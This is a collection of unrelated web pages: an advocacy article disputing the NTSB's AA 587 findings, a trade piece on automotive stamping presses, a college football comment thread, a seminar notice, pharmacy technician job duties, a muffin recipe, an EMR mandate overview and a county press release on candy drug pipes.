On March 26th, 2004, U.S.Read released an exclusive article titled, "Coverups, Foulups, and Credibility Lost". This article was not about an NTSB cover-up. It was about a five year old Airbus cover-up of very relevant safety information dating back to 1997. And it was a cover-up –– U.S.Read's analysis of the AA 587 docket material uncovered Airbus' cover-up of the rudder travel limiting system failures on AA903 in 1997. We also discussed the failures of the NTSB –– from 1997 through the present –– to identify and disclose very troubling behavior on the part of Airbus. Most importantly, we showed that even if the NTSB was correct that AA 587's tail separation was the cause of the crash, the NTSB had lost credibility in determining why or how the tail had separated.
The NTSB could not be trusted to go after Airbus if that was where the evidence pointed. In fact, if one believes that tail separation was the cause of the AA 587 crash, the evidence certainly pointed against Airbus. If the NTSB was unreliable in highlighting the fairly obvious in relation to the tail separation and rudder limiter issues and the Airbus' coverups dating back to 1997 –– then the NTSB's ability to determine the actual initiating event on AA 587 was even less likely.
At the Final Report meeting the NTSB proved beyond any doubt that the their credibility in the investigation had been lost. The NTSB basically let Airbus slip away on the most critical issue and even created a grossly erroneous and incomplete presentation that was favorable to Airbus.
American Airlines Flight 903 (AA 903
) in 1997
To anyone even remotely familiar with the AA 587 crash, there was no doubt that the AA 903 accident in 1997 near West Palm Beach was very relevant and very connected to AA587. Most experts who believe tail separation was the cause of AA 587’s crash agree that had the NTSB and FAA been informed by Airbus about the role that rudder reversals and the faulty RTLU (Rudder Travel Limiting Unit) had on the extreme loads placed on AA 903's tail, the crash of AA 587 could have been prevented. There were such obvious similarities between the two flights, and such an obvious failure or cover-up on the part of Airbus to communicate very important safety information to federal investigators, that Bernard Loeb, who headed the National Transportation Safety Board's aviation division until January 2001, said the following to USA Today (May 27, 2003):
"When I heard (about what Airbus knew), [about AA 903] it made me sick ... People are kicking themselves."
It would seem that Mr. Loeb got worked up about nothing –– because the NTSB went out of their way at the AA 587 final report meeting to say there was "no connection" between the two flights –– no "eureka" piece of information from AA 903 that could have prevented AA 587. Even with the benefit of hindsight available to them the NTSB's statement was very far from the truth. This is why the Airbus attorney walked out of the meeting at the end of the day and told the pilot's union representative, "better luck next time". Airbus' lobbying efforts had paid off well –– the NTSB had been rendered mostly impotent –– and the bulk of the blame had been placed on a Pilot who allegedly used the controls "excessively" and "inappropriately".
Presenting Misinformation
How far did the NTSB go to distort the significance of the AA 903 event? –– they produced their own misleading slide presentation (Figure 1):
Figure 1
Figure 1 was produced by the NTSB's John Clarke, Director of the Office of Aviation Safety, to show how the two flights weren't connected when in fact they were very similar . What is most striking about Mr. Clarke's slide is the omission of two very significant similarities between the two flights: (a) repeated rudder reversals leading to (b) higher-than-ultimate loads being placed on the vertical stabilizer. These are the two most important issues related to both flights –– and it was these that John Clarke omitted from his slide. Mr. Clarke is either incapable of connecting the dots or he was willingly evading the facts to help Airbus escape blame. Either way, this is an egregious failure on the part of both Mr. Clarke and his employer, the NTSB.
Instead, Mr. Clarke's presentation had "Pilot training" as the number one issue, and as the only similarity between the two flights. There is no doubt that Pilot training was an issue in both cases –– both Pilots had never received training about the dangers of rudder reversals. But there is also no doubt that Airbus (a) never told the NTSB and FAA that AA 903's tail experienced loads beyond the ultimate load, that (b) the rudder reversals contributed to the very high loads, and that (c) the RTLU failed several times during the AA 903 event, which led to a direct increase in the loads experienced by AA 903's tail.
Had Airbus told the NTSB in 1997 about all of these facts, when Airbus knew them, then the NTSB would have issued its warnings to the aviation community about rudder reversals, about the peculiar characteristics and sensitivities of the A300-600's rudder system, and about the failure modes of the RTLU. Had the NTSB done so in 1997, AA 587's Pilot, Sten Molin, would have known not to reverse the rudder long before November 12,2001.
The NTSB was able to look at these same facts, these obvious connections between the two flights, and state that nothing from AA 903 could have prevented AA 587. This NTSB distortion and whitewash of the AA 903 affair solidifies the conclusion that the NTSB had lost credibility in the AA 587 investigation. If they were incapable of connecting the obvious dots, they couldn't be expected to identify the actual, elusive, initiating event on board AA 587.
Perhaps one clue as to why the NTSB reached this illogical conclusion about the AA 903 connection is found in Mr. Loeb's statement to USA Today: "People [in the NTSB] are kicking themselves." Perhaps the NTSB was encouraged to downplay the significance of AA 903 in an effort to veil the significance of their own failures in the AA 903 investigation. Why else would Mr. Loeb say "kicking themselves"?
The NTSB whitewash was not only evident in Mr. Clarke's slide (Figure 1 above), but in the very words of the NTSB Board Members:
Board Member Rosenker said he was "comfortable" that there was no relation between AA 587 and AA 903. Board Member Carmody: "we need to lay this thing (the AA 903 connection) to rest". She also described her feelings about the Airbus' 1997 cover-up as "[I] am less than satisfied in a less than perfect situation". Director John Clarke focused solely on AA903's "vertical" loads (which were higher than AA 587's) and failed to highlight the extremely high lateral loads AA 903experienced (as high as 0.7g)––loads that were as much as two times more severe than those AA 587 experienced. Mr. Clarke referred to Airbus' deliberate withholding of the tail loads data during the AA 903 investigation as ..."oblique". What made Mr. Bernard Loeb "sick" was only an "oblique" offense for Mr. Clarke. NTSB Chairman Connors provided the closest statement approaching a rebuke when she said Airbus "did not meet moral obligations". But that was the height of the criticism against Airbus––it quickly descended into a love fest again with Board Member Hersman, perhaps exposing the NTSB's bias in favor of Airbus, revealing "we don't want to single out a single party". Unfortunately, the NTSB's final report did just that––it mostly singled out the Pilot.
really happened on board AA 587?
This central question is really what it's all about. U.S.Read followed the investigation closely for three years because never during that time did we see the NTSB addressing the central issues of the crash.
Finding all the debris
The NTSB's Robert Benzon stated at the meeting that "pertinent portions" of Jamaica Bay were searched with sonar scan equipment and that no debris was found on the Bay floor. This is misleading and unbelievable in two respects. The NTSB did not identify the area covered by these scans. Secondly, the NYPD (the agency which performed the sonar scans) told U.S.Read that they did not scan a large area nor was their scan focused for "debris." Rather, it was focused on finding the bodies of victims. The NYPD acknowledged that their sonar scan effort may have missed aircraft debris.
"Several" Eyewitnesses?
In regards to the eyewitnesses, the NTSB concluded: "The witnesses who reported observing the airplane on fire were most likely observing a fire from the initial release of fuel or the effects of engine compressor surges." Mr. Benzon added that there were "several" witnesses who reported the plane on fire.
The Tollbooth Videos
On February 25th, 2005, the NTSB responded to our request for a digital uncompressed copy of the original footage––we are currently working out the details with the NTSB as to how a copy will be made for us. In the interim, the NTSB has offered to send us a broadcast-quality Betacam SP video tape––a first generation copy from the originals (not digital, but the best alternative). As soon as we have the opportunity to examine this new footage we will report on it. Based on the NTSB's latest official report on the tollbooth videos, there is a notable quality improvement in the original videos along with additional footage and even an additional camera view (lane 13 of the toll plaza) of AA 587 in flight. We are very much looking forward to examining the videos. The NTSB, in their latest tollbooth video report, provided snapshots from the original video and from the copy they received from the FBI in November 2001 which highlight the quality difference between the two versions (see Figure 2).
Figure 2 (from NTSB Tollbooth Video Report dated October 7, 2004)
U.S.Read has learned that analysts at the U.S. Government's Ballistic Missile Defense Organization (BMDO) have, in the recent past, been able to improve images from poor quality videos (an ability that exceeds even those at the FBI). But this is yet another area the NTSB has failed to to explore.
Other critical issues mostly ignored
The NTSB's final report provided no indications that other significant issues were thoroughly investigated. An NTSB sound spectrum analysis of the Cockpit Voice Recorder (CVR) revealed dramatic energy level increases during the time of the Pilot's aggressive control inputs. The sound spectrum study, along with the Air Traffic Control (ATC) tapes––which contained the Pilot's "try escape" transmission that is missing from the CVR––provide convincing evidence that the crew was battling something far more severe than a wake encounter. Reliable electrical systems on board were being disrupted several seconds before the tail departed. To the dismay of many, not only has the NTSB failed to properly analyze the CVR, but they have gone so far as to say that the Pilot's "try escape" transmission didn't even originate from AA 587.
The NTSB also provided no explanation for the failure of AA 587's Flight Data Recorder (FDR) 13 seconds before impact and several seconds before the engines departed. Yet, the NTSB's John Clarke somehow was able to say that everything was "normal" on the CVR and FDR.
The only hope that may remain is if enough family members petition Congress for an independent re-investigation of AA 587. U.S.Read has been informed by two families that they intend to do just that.
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With some 25 on order and a number installed, Schuler's cross-bar transfer presses are proving to be popular with those who need the ability to handle large parts, like body side panels. Here are some things to think about with relation to this equipment.
When it comes to large panels—like body sides, or double-attached body components—the folks at Schuler recommend a cross-bar transfer press. As the name implies, cross-bars fitted with suction cups go from one side of the press to another, lifting and transferring the sheet/parts. Each forming station has its own slide.
By the use of standardized elements, press systems can be more economically and rapidly configured and deployed, says Mike Austin, president of Atlas Technologies.
Tandem lines still have benefits for body panel production.
Pressworking: Cross-Bar Press Considerations
Handling parts that are hard to handle—like large body panels— parts that have a physical propensity to flex, can be tricky.
Handling parts that are hard to handle—like large body panels— parts that have a physical propensity to flex, can be tricky, says Andreas Sambel, general manager, Mechanical Press Sales, Schuler Inc. (Dearborn, MI). One of the approaches that the people at Schuler recommend for processing body panel parts is to use a cross-bar transfer press. This press type has an individual slide for each forming station rather than, say, a tri-axis transfer press that employs a common slide for multiple stations. (It should be noted that Schuler makes those presses, too, so it’s not like they have anything against them. Rather, it’s that when it comes to big panels, cross-bar transfer is an advisable approach. But if it is something like producing frame parts, then the tri-axis approach will probably be recommended.) Cross bars are fitted across the width of the press; each cross bar is equipped with an arrangement of suction cups that attach to the panels for transfer. The slides are individually adjustable, which is beneficial for tryouts and setups. The configuration provides good accessibility to dies, clamps, and other components. Between the forming stations there are universal stations (see “Trick moves,”).
Schuler produces these presses to size (e.g., 52,000 kN with a 2,000-mm feed pitch; 68,000 kN with a 2,600-mm feed pitch), depending on the application. (One thing about these big-capacity units: although there may be body sides produced, there are many other body panels that aren’t quite as large. So it should be kept in mind that double-attached parts can be readily run.)
Here are some other aspects worth considering. . .
A considerable factor
A goal of stamping operations is to have high output rates. There are several reasons:
1. Few body panels mean few cars
2. Press lines are extraordinarily expensive pieces of machinery, and if they aren’t running, they are pieces of sculpture that are more expensive than most things found in Sotheby’s
3. Press lines are ahead of all of the other operations in an assembly plant (e.g., body build, trim, and final), so if there aren’t sufficient stampings, then all of that becomes idle (or at least not running at the appropriate rate).
Consequently, there is a goal to move panels as expeditiously as possible through the press operations. Everyone talks about quick die change. Here we’re talking about moving metal. And realize that the vacuum that may be used to pickup parts and transfer them between presses only has so much gripping force. So one thing to keep in mind when calculating the output of a press line is the speed at which the material can be safely transferred; the number of strokes per minute isn’t the only factor.
Trick moves
There are situations when it is necessary to have a die tilted by x°—maybe 30—in order to, say, produce a sharp character line on a body panel. (Even vehicles that aren’t part of the Ford New Edge Design approach have these features.) One of the things that Schuler offers on its multislide cross bar transfer press is a series of universal stations (place one between each press; so a five-press line gets four universal stations) that actually provides the tilt to load the part in the proper orientation into a draw station in order to get the edge. A universal station can provide seven-axis of controlled motion. One advantage of having the manipulation of the material done by the universal station is that it simplifies die design; there doesn’t necessarily have to be the cam-actuation within the die that might otherwise provide the orientation. And what is important to note is that the universal station approach facilitates shortening the feed pitch. Less pitch means more production. (There is a slight lengthening of the total line, however, due to the use of universal stations between the presses.)
About the number of stations
Some of you might have read that preceding paragraph and noted the words “a five-press line.” And then you said something like: “Hey, the goal is to reduce the number of presses in a line. Five! Four are better!” Which could be true. . .but there is another factor that needs to be taken into account: the dies. Fewer stations mean more complex dies. More complex dies mean difficulties when it comes to (1) developing the dies; (2) building the dies; (3) setting up the dies; (4) maintaining the dies. So what may seem like a virtue (i.e., shorter press lines) may actually be a practical pain in the posterior for die/manufacturing/production engineers alike. You might want to recalculate.
Choices, choices
There is sometimes a need to lighten up a vehicle. Which can lead to the implementation of aluminum panels. What is the consequence on pressworking equipment? Not much, Schuler’s Andreas Sambel says. Mainly, it is an issue of changing the destacking system: magnetic pickups can be used for the steel; aluminum requires suction cups. Other than that, the status is pretty much quo.
The Systems Approach
Atlas Technologies (Fenton, MI) is probably best known for the die carts that the company has been providing to industry for a number of years. The die carts and associated racks (for handling dies) make it possible to do such things as to change over a five-press tandem line in 103 seconds. Even stamping plants that are known for quick die change capability don’t often make the switch that expeditiously—not by several minutes. Company president Mike Austin explains that Atlas has been working on a number of press-related fronts, from innovative destacking equipment for blanks to some advanced projects with the Auto Body Consortium (Ann Arbor, MI), such as developing “smart dies” (Austin says that these dies have adjustable settings for such parameters as pressure, pad depth, draw bead and that adjustments to the dies can be made based on the conditions of materials both going into and out of the press).
One area that Atlas engineers are concentrating on is developing standard stamping cells for small to medium sized (800- to 3,500-ton) press applications. “We’re looking to simplify systems and to improve performance through the building of equipment in a more standardized manner and then integrating the control systems,” he says. According to Austin, the general modus operandi for getting a press line today is for the customer to specify the size of press and some of the auxiliary functions that need to be performed. Generally, press companies receive the RFQ. Then the response tends to be a custom system, with slight modifications to meet the customer’s specific demand.
Here’s the kick of his idea: “If the customer can configure a cell out of standard components and still achieve over 90% of what he’s looking for, then it is possible to improve performance, reduce cost, reduce lead-time, and create more standardization.”
He admits that there is an understandable reticence on behalf of people from getting “shoe-horned into a standard solution.” But he points out that just as there has been increased standardization in metalcutting, there is now the potential to do the same in metal forming.
Austin then cites the familiar desktop computer analogy, of being able to get a computer configured with the precise specs made up of components that are standard and available from a number of vendors. In the case of the press cell, it is a matter of pre-engineered modules for the front of line equipment, press, end of line equipment, automated storage and material system, and controls.
Among the benefits he ticks off are:
•Faster equipment delivery (e.g., reduced engineering is required)
•Reduced cost
•Flexible production capacity
•The ability to make fast upgrades or modifications (in approximately two weeks)
•Simplified maintenance
•Common spare parts
•Global availability.
Atlas isn’t undertaking this initiative on its own. They are working with a number of suppliers—both domestic and off-shore—who have capabilities in controls, coil handling, scrap conveying, and equipment installation.
Tandems Keep Going
“Tandem lines are not new to the auto industry,” observes Dennis Boerger, product manager, AIDA-Dayton Technologies Corp. (Dayton, OH). And he acknowledges that there is a trend, in cases where the components produced are large body panels, toward transfer presses, away from tandem lines. But he points out that there are still notable advantages to using tandem equipment. In the case of AIDA and equipment for producing, as he describes it, “large outer skin components,” he points to the SMX series of double crank straight-side presses, stamping machines that range in capacity from 300 to 2,000 metric tons. Bed sizes vary, as well (e.g., 8 ft. x 5 ft.; 20 ft. x 10 ft.).
One of the benefits of this equipment is, Boerger says, the fact that there is a patented link motion provided, a motion that can be modified to meet the forming requirements of the station; combined with ancillary automation: “It pretty much provides whatever slide motion that is best suited for producing a high-quality part in any operation.” He notes, “Most presses in tandem lines provide straight eccentric motions.” So, he explains, with the SMX there is the means by which the press stroke can be slowed down during its working portion so that there is more time—on the order of 30 to 40%—with the die engaged with the material. A key benefit of this approach is that the longer hold pressure means that the steel has an opportunity to flow plastically and as a result there tends to be less springback. Because cycle time is certainly an issue, there is a fast return of the ram to the top for the next stroke.
“One of the big areas of change in tandem lines today versus 20 years ago,” Boerger notes, “is in automation and control systems.” In terms of automation, in addition to the dedicated between press automation, there are also robotic handling systems being used to load and unload presses. AIDA recently introduced a PLC-based control to facilitate setup and operation, as well as to provide enhanced monitoring capability.
“I think the flexibility of tandem lines is a key advantage,” Boerger says. He cites the example of part changes. In the case of a large transfer press, he explains, it might be necessary to work on the entire die in order to make a small change to a component. But with the tandem approach, there are smaller, individual dies, which are easier to work on. He admits, however, that although there is the benefit of flexibility, you do “sacrifice some output.”
Still, the trade-off can be advantageous. | <urn:uuid:87dae379-4e67-4c19-8d99-697dc0e4b5c8> | http://www.autofieldguide.com/articles/pressworking-cross-bar-press-considerations | en | 0.944472 | 0.030689 | mlfoundations/dclm-baseline-1.0-parquet |
Comments about ‘Mike Sorensen: Despite disappointing year, Utes aren't that far from contending’
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Published: Sunday, Dec. 1 2013 6:40 p.m. MST
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Hyrum, UT
@ Elmer Fudd:
Don't be silly enough to count on Utah beating BYU every year. Yes, they've beat them the past 4 years (3 down to the last play of the game), but BYU also beat Utah 3 of the preceding 4 years prior to then.
The only thing a knowledgeable fan will count on is that the rivalry between the 2 schools will continue to go back and forth... like it has done for most of a century. Only someone living in a bubble world would think otherwise.
If Utah beating BYU makes them the better team, then why do all the national polls currently have BYU listed and ranked as the better team? Those people who create the polls know the results of that single game, but still feel BYU is the better team. Oh... that's right, the rest of the football world looks at the entire season... unlike just a few Ute fans who think that a single game counts for everything... and that it's impossible for teams to get better or decline during the coarse of a season.
Please don't be that naive!
Does that also mean Utah is a better team than Stanford?
Draper, UT
Tators, you were the one who "guaranteed" Kyle would take Bronco's schedule, I did not put words in your mouth. You wrote it.
I said I think Kyle likes the challenge, I didn't guarantee it, though I have heard him say in interviews he likes the challenge of building a program that can contend in the PAC 12. As I said, Kyle could get a job before Chris Hill even finished saying "you're done" if it came to that, so his concerns are primarily focused on helping improve a program he has spent so many years building. He wants the program to succeed because Kyle takes pride in building something, unlike Urban who just used Utah as another career stepping stone.
I also didn't say he doesn't have concerns for his job, I said you overstated those concerns. Of course he is concerned as he should be. I'm not sure even Kyle knew how hard this transition would be.
BYU was still 2-4 against BCS teams, including Virginia and Utah. All I'm saying is why come on a Utah thread and pound your chests with those results?
Highland, UT
An explanation of utah "fan" logic as it pertains to this discussion.
Rankings only matter when they are used to determine SOS because in that instance it says utah plays the nations hardest schedule and having to play the nations hardest schedule gives utah "fans" an excuse for their teams incredibly poor record.
Rankings not only don't matter, but are actually fatally flawed, when they show BYU to be a better team than utah.
It is simple to understand, those that vote on the rankings don't have a clue what they are doing when they rank BYU above utah but they are spot on and flawless when using those rankings to give utah "fans" their whiney excuse about their schedule being to hard.
There you go, utah "fan" logic explained. LOL!
Spokane Ute
Spokane, WA
The issue I have, is that you make it sound as if the Saragin rankings are the end all, be all, of who is better than whom. Utah is ranked #33, WSU #34 and OSU #36. All very close. So was Utah better than both WSU & OSU? Of course not, they lost to them. I can admit that. You act as if Utah is like Virginia and ranked #114 or something. Sorry, but when teams are ranked very close to each other, the actual game played is the tie breaker. IMO
In my mind, it's pretty weak sauce when you have to rely on some poll to tell you that your team is better. BYU lost to Utah, out played, and out scored. That's the bottom line.
Draper, UT
BYU logic:
6-5 Michigan in 1984 was a national power in their undisputed "national championship game" and Utah playing a 7-4 Pittsburgh was a patsy.
BYU plays on ESPN2 late at night, so they are the undisputed darling of the national media.
Utah's "close games" are really just an illusion and in our minds they really lost every game on their schedule.
Everyone knows BYU losing to Virgina, Utah, and Notre Dame was a fluke. The weather lost the Virginia game, the referees lost the Utah game, and...well I'm sure there is a reason we lost once again to Notre Dame.
Spokane Ute
Spokane, WA
BYU lost to Notre Dame because of the glare coming off of the shinny helmets.
Highland, UT
@draperute "fan"
Fail. No one claimed michigan was a national power, although they did say they were before injuries ravaged their team, no claimed BYU was the "undisputed darling of the national media", no one said utah's "close games are really just an illusion", and no one said BYU losing to utah or notre dame was a "fluke", for that matter no one said that about virginia either.
You see you have to use things people actually said and no one said any of that whereas utah "fans" do tell us incessantly that the polls are always wrong about BYU being ranked higher than utah but are always right when they use those same rankings to rate utah's SOS. utah "fans" also claim rankings are right when they say utah's recruiting classes are better than BYU's but they are all wrong when they had BYU as the undisputed NCAA College Football National Champion.
You see we get it, polls and rankings are always correct when they favor utah and they are always wrong when they favor BYU. It is indisputable.
Mcallen, TX
Here it is folks!!
"Utah plays a much tougher schedule and BYU plays a much weaker schedule. So you can't compare which team is better by their schedules".
Draper, UT
Fail Duck,
Go back and read the thread start to finish.
Draper, UT
In your words "No one said Michigan was a national power althouth they did say they were before ravaged by injuries."
We get one sentence into your argument where the contradictions start. Did they or didn't they? My favorite is the injury part. The Cougs allow themselves the injury bug excuse, but not a Utah team who lost its starting QB for all intent and purposes in week 7.
My favorite Cougar logic..."nobody said any of that."
Spokane Ute
Spokane, WA
......nor the final score.
Idaho Falls, ID
All time record against Pac 12 teams: 85-138-6 .371
2011: 4-5 .444
2012: 3-6 .333
2013: 2-7 .222
Utes lost some very close games this year. Nobody can say it will be any better next year. Until they actually show it on the field...winning those close games...don't talk to me about how they are not that far away.
I'll call it
Ogden, UT
If BYU was in the Pac-12 Utah would never get a win over them again.
West Point , UT
Injuries can play a very important role in how well a team performs over the season. It's one thing to lose starters, it's another thing entirely to lose stars. I'm a Georgia fan and watched them have a lot of success this year, being ranked as high as #6 in the country. Then they lost STAR players like Malcom Mitchell, Todd Gurley, Kieth Marshall, etc. losing your TEs isn't the same as losing guys like that. Georgia went from being one of the best teams in the SEC to losing to Vanderbilt because of STARs getting injured. Every team has injuries, it's when those injuries happen to integral parts that the meltdown occurs. Remember, Wilson threw 6 interceptions against UCLA and was already going downhill BEFORE getting injured.
Michigan in 84 started as one of the Big 10 favorites and in the NC discussion because of all the talent they had...they then proceeded to lose the majority of their starters and STARS to injury. They started the season with wins over Miami (#1 at the time) and Wisconsin but struggled thereafter. Many of ttheir starters were back for the holiday bowl, but no one ever remember that.
West Point , UT
It also never ceases to amaze me how good ute fans' memory is about '84 Michigan but how their memory fails them when they consider that a win over a ranked Michigan in 2008 was what propelled Utah into the rankings that year. Michigan finished 3-9 in 2008 and was an awful team from the get go...not even comparable to the talent of the 84 team.
New to Utah
Utah was very lucky to beat Colorado in the bottom feeders bowl. BYU would have easily beaten Utah if they had played in November like that have for about a 100 years. Money and prestige aren't worth being the punching bag of the Pac 12.BYU did not perform up to expectations they were lucky to beat Reno. Utah State had the easiest MWC schedule not playing SDSU and Fresno, Boise State is probably the best team in the MWC but two heartbreaking loses by one point at Fresno and in overtime at San Diego. This has been craziest year in college football who would think Alabama would lose a fluke play?
Draper, UT
CougsandDawgs, I enjoyed attending that 2008 contest against Michigan at the Big House. A truly awesome experience as college football goes. The fans of Michigan were first class all the way. It was an awesome experience. I don't have any illusions about the fact that Michigan wasn't very good that year, but any win in front of 104,000 fans at the Big House is a nice win. the 2008 Wolverines certainly were not better than the Michigan team of 84.
BYU had a great team in 84 and Michigan was a good team, but they weren't close to the best team BYU could have played. It wasn't BYU's fault, it was a broken college football system that continues to be broken.
Undefeated Boise State felt cheated when they played TCU in the Fiesta bowl instead of a higher ranked and more prestigious opponent. The system of college football failed BYU and the fans in 1984 and they continue to fail fans with a broken system of awarding a national champion. Washington beat Michigan 20-11 before the injuries to Michigan in 1984 and they ended the season with only one loss. Too bad that wasn't the opponent for the NC that year.
West Point , UT
I agree with everything you said...nice to have civilized dialogue. I imagine being at the Big House is a rare treat for a fan of CFB, just as it was for me when I attended the BYU vs ND game last year. Amazing history and prestige surround ND stadium and like the Michigan fans you experienced, ND fans are a classy bunch. Like you I wish CFB could do things the right way because how they do it puts a damper on the accomplishments of ALL programs not just Cinderella or midmajor programs...we can only hope that someday they get it right. A 4 team playoff next year is a step in the right direction, but I'd like to see that grow to 8 or even 16 teams.
Riddles in the Dark
Olympus Cove, Utah
Washington and Nebraska were both invited to play #1-ranked BYU in the Holiday Bowl. Unfortunately, neither accepted, or there would be no debate concerning whether or not BYU deserved to be the 1984 National Champion.
Either BYU would have lost, end of story; or BYU would have won, also, end of story.
Interestingly, BYU did play Washington at the beginning of the 1985 season, and crushed the Huskies 31-3.
Sandy , UT
@ BYU9293
Utah has beat BYU in the last 4 games and are 8 out of the last 11. By scheduling BYU and Utah St for that matter Utah is already padding their schedule. The Utes are looking to increase their foot print in recruiting. They already play in Utah so why continue to play Utah St. and BYU other than to pad their schedule for two easy win.
Utah just received commitments from three highly recruited players out of Louisiana and Florida thanks to Dennis Erickson.
They received a commitment form QB Donovan Isom Destrehan, LA ranked 34 by ESPN also had offer from Miami, Brandon Snell WR, Miami FL Ranked #12 WR by ESPN S Monte Seabrook Newberry, FL ESPN Ranked 92. Utah also got commitments from 2 top 40 OT
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About comments | <urn:uuid:73f25b58-5fca-457d-8489-548af19264b6> | http://www.deseretnews.com/user/comments/865591640/Mike-Sorensen-Despite-disappointing-year-Utes-arent-that-far-from-contending.html?pg=9 | en | 0.979321 | 0.050134 | mlfoundations/dclm-baseline-1.0-parquet |
Electrical Engineering and Computer Science
AI Seminar
Commitments and Responsibilities in Multiagent Systems
Ed Durfee
Tuesday, December 04, 2012
4:00pm - 5:00pm
3725 BBB
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About the Event
A central challenge in scaling up multiagent systems is to design computational techniques that an agent can use to make coordinated decisions despite its limited local awareness of the situations being faced by, and decisions being made by, all the other agents. One way to address this challenge for cooperative agents is for an agent to abstractly model others, and itself, in terms of behaving predictably to fulfill complementary long-term commitments and responsibilities. Assuming that all agents will act predictably can often improve joint performance and simplify agent decision making. Unfortunately, however, actually meeting predictions can sometimes be problematic in uncertain environments, where an agent might be forced from achieving intended outcomes, or might discover hidden costs that deter it from wanting to pursue an intended plan. This raises two fundamental questions that will be the focus of this talk: First, what latitude does an agent have to make local adjustments to its action choices while still faithfully pursuing its commitments and responsibilities to others? Second, how should the answer to the first question impact decisions about defining commitments and responsibilities that achieve the benefits of predictability without harming collective performance because individuals cannot respond flexibly enough to evolving circumstances? I will describe some of our current answers to these questions, where specific commitments and broader organizational responsibilities are expressed and reasoned about following decision-theoretic principles.
Additional Information
Sponsor: Toyota
Open to: Public | <urn:uuid:1e6a56d6-4312-419b-9e36-e67c21019bad> | http://www.eecs.umich.edu/eecs/etc/events/showevent.cgi?2555 | en | 0.931558 | 0.029764 | mlfoundations/dclm-baseline-1.0-parquet |
Pharmacy technicians’ roles and responsibilities vary slightly depending on their work settings but primarily involve preparing medication, counting tablets and labeling medication bottles and containers, providing medication and healthcare products to patients amongst other duties. Assisting a licensed pharmacist, these roles are usually carried out in medical facilities such as hospitals and care homes, licensed retail and mail order pharmacy establishments.
Technician duties, roles and responsibilities in a retail pharmacy setting:
Working within a retail setting, a pharmacy technicians duties begin when they receive an electronic prescription from a doctors office or a patient presents a written prescription or refill request.
• The first responsibility is to check that information on the prescription is accurate, interpreting the doctors’ medication order and ensuring it has been completed correctly.
• It is then the pharmacy technician’s duty to retrieve the correct medication for counting, pouring weighing and measuring as detailed on the prescription.
• Once the pharmacy technician has prepared the medication their next duty is to appropriately package the medication, prepare prescription labels’ and information about the prescribed medication for the patient read.
• The next responsibility of the pharmacy technician is to update inventory records, prepare any medical insurance claims and after the prescription is filled, they will then prepare the price for the medication and record the prescription in the record keeping system.
Before the pharmacy technician can dispense the completed prescription order to the customer or patient, they must first have it reviewed by a licensed pharmacist.
Technician duties, roles and responsibilities in a hospitals and care settings:
When a pharmacy technician works in a hospital, nursing home or other care facilities that deal with prescription medicines, their responsibilities can increase and be much more demanding than compared to working in a retail pharmacy. Most of these kinds of health care establishments operate on a 24-hour basis and usually never close.
Additional duties for pharmacy technician working in healthcare settings include
• Reading patients’ medical charts and preparing medication based on these, which involves checking that the medicine order is prescribed correctly, and updating patients charts with information about delivered prescribed medicines whilst ensuring that there are adequate supplies of medication for the patients.
• Packaging each individual type of medication separately and accurately labeling the medication with the prescribed dosages. Once this has been completed, the pharmacy technician’s duties include safely storing the prescribed medication in the patients’ medicine storage unit for them to be verified for accuracy by a licensed pharmacist.
Depending on the pharmacy technicians certification additional roles and responsibilities can also include making medicine compounds using specific recipes and sterile product preparation if IV certified. | <urn:uuid:7dc908f0-f961-4fe4-97a5-bedc1fe34e97> | http://www.epharmacytechnician.com/pharmacy-technician-roles/ | en | 0.93752 | 0.15417 | mlfoundations/dclm-baseline-1.0-parquet |
Peanut Butter and Jelly Muffins
Total Time
10 mins
25 mins
Kids of all ages love these muffins.
Skip to Next Recipe
1. Preheat oven to 350 degrees.
2. Stir together first four ingredients.
3. Add peanut butter, cutting it into the flour mix with a fork, or use your food processor, until mixed and crumbly.
4. Stir together the egg and milk.
5. Add to the flour and peanut butter mix, folding it together just until moistened.
6. Place a spoonful of batter into each of 12 greased muffin cups.
7. Next, place a teaspoon of jelly in the middle of the half filled muffin tins.
8. Top the jelly with the remaining peanut butter batter.
9. Bake for 20-30 minutes or until done. | <urn:uuid:115746ee-19ed-441e-9bba-fd21910b5f87> | http://www.food.com/recipe/peanut-butter-and-jelly-muffins-53853 | en | 0.840422 | 0.235564 | mlfoundations/dclm-baseline-1.0-parquet |
Federal EMR Electronic Medical Records Mandate 2014/2015 Deadline
There are various views regarding the President Obama’s ability to ensure that all medical records in the United States are converted into the electronic format by 2014 but there is no denying the fact that an increased adoption of EMR or electronic medical records by physicians, healthcare organizations and their related business associates is now a gradually-progressing certainty.
A rather recent legislation further underlines the initiative for moving onto the electronic platform of storing patient medical records—called the American Recovery and Reinvestment Act or the ARRA. This legislation is aimed at creating more funding and a network of incentives that can be directly resourced towards healthcare professionals or physicians who are ready to adopt EMR and abide by the concept of "meaningful use" of Electronic Medical Records by 2014.
The year 2014 is also significant from the perspective that from 2015 onwards, penalties are likely to be levied on entities dealing with patient healthcare data unable to upgrade themselves to electronic record technologies. Legislations like the ARRA and the entire campaign promoting EMR is based on the principle that electronic records provide the combined benefit of securing patient information and cutting down healthcare costs—two irrefutable advantages.
It should be noted that the proposed penalty in 2015 is of 1% and this is likely to increase incrementally, up to 5% in the forthcoming years. Most of the penalties will be levied in the form of reduced Medicare and Medicaid reimbursements. To engage appropriate funding, all entities applying for the EMR healthcare funding should understand and prove "meaningful use" of patient medical records and the use of "certified EHR" technologies. This essentially means that the EMR vendor chosen by a healthcare provider/clinic or its business associates should comply with regulations that have been put forth in this niche, such as the standards set by the Security Rule of HIPPA.
The government is very serious in terms of ensuring that the conversion rate to EMR technologies is appreciable and that is why along with grants and federal funding, more college-level programs aimed at creating more Health Information Management professionals are likely to be introduced as 2014 draws near. This will ensure that the impending explosion in electronic records numbers is addressed with the availability of qualified professionals—further helping to reduce the overall costs for employing healthcare computer technologies and easing the entire process. | <urn:uuid:40fd1d72-c98c-4c07-adf8-8d5dd8acc19e> | http://www.myemr360.com/emr-mandate-2014 | en | 0.950236 | 0.179979 | mlfoundations/dclm-baseline-1.0-parquet |
You are here:
Patterson Issues Warning Against "Lollipipes"
Public Date: 3/1/2012 12:00 AM
Contact: Bill Mullan, Media and Communications Officer
Phone Number: 248-858-1048
lollipipes_030112 .pdf
Pontiac, Michigan -- Oakland County Executive L. Brooks Patterson demanded today that retailers who carry "Lollipipes," also known as candy crack pipes, remove them from their shelves. In addition, Patterson wants members of the public who spot "Lollipipes" on a store’s shelves to notify the Oakland County Health Division, which will then educate the store owner about the dangers of desensitizing children to the risks of drug use.
